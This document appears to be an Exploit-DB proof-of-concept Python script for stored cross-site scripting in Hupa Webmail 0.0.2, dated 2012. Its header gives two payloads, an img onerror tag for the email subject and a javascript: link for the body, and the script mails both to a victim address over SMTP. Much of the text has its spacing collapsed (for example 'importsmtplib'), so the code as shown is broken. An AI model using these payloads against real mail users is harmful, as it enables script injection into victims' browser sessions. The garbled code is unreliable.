#!/usr/bin/python
'''
# ExploitTitle:HupaWebmailStoredXSS
# Date:14/08/2012
# ExploitAuthor:Shai rod (@NightRang3r)
# VendorHomepage: http://james.apache.org/hupa/
# SoftwareLink: http://repo1.maven.org/maven2/org/apache/james/hupa/hupa/0.0.2/hupa-0.0.2.war
# Version:0.0.2
#Gr33Tz:@aviadgolan,@benhayak,@nirgoldshlager,@roni_bacharAbout the Application:======================Hupa is an RichIMAP-based Webmail application written in GWT(GoogleWebToolkit).Hupa has been entirely written in java tobe coherent withthe language used in the Jamesproject. AndIt has been a reference of a devloping using GWT good practices (MVP pattern and Unit testing)Hupa is a functional and well designed email client, ready for reading, sending and managing messages, but it still lacks of many features email clients nowadays have.
HupaWebmailStoredXSS in SubjectVulnerabilityDescription=========================1.StoredXSS in email subject.XSSPayload:XSSPOC<img src='https://www.exploit-db.com/exploits/20668/1.jpg'onerror=javascript:alert("XSS")>Send an email tothe victim withthe payload in the subject field.XSSWill be triggered in message listings (Inbox etc..).2.StoredXSS in e-mail body.XSSPayload:<a href=javascript:alert("AnotherXSS")>POCMAIL</a>Send an email tothe victim withthe payload in the email body, once the user clicks on the url the XSS should be triggered.
'''
importsmtplib
print "###############################################"
print "#Hupa Webmail 0.0.2 Stored XSS POC#"
print "#Coded by: Shai rod #"
print "# @NightRang3r#"
print "# http://exploit.co.il#"
print "# For Educational Purposes Only!#"
print "###############################################\r\n"
# SETTINGS
sender ="attacker@localhost"
smtp_login = sender
smtp_password ="qwe123"
recipient ="victim@localhost"
smtp_server="192.168.1.10"
smtp_port =25
subject ="Hupa Webmail XSS POC"
xss_payload ="""<img src='https://www.exploit-db.com/exploits/20668/1.jpg'onerror=javascript:alert("XSS")>"""
# SEND E-MAIL
print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\n"
% (sender, ", ".join(recipient), subject + xss_payload) )
msg += "Content-type: text/html\n\n"
msg += """<a href=javascript:alert("AnotherXSS")>ClickMe,Please...</a>\r\n"""
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!"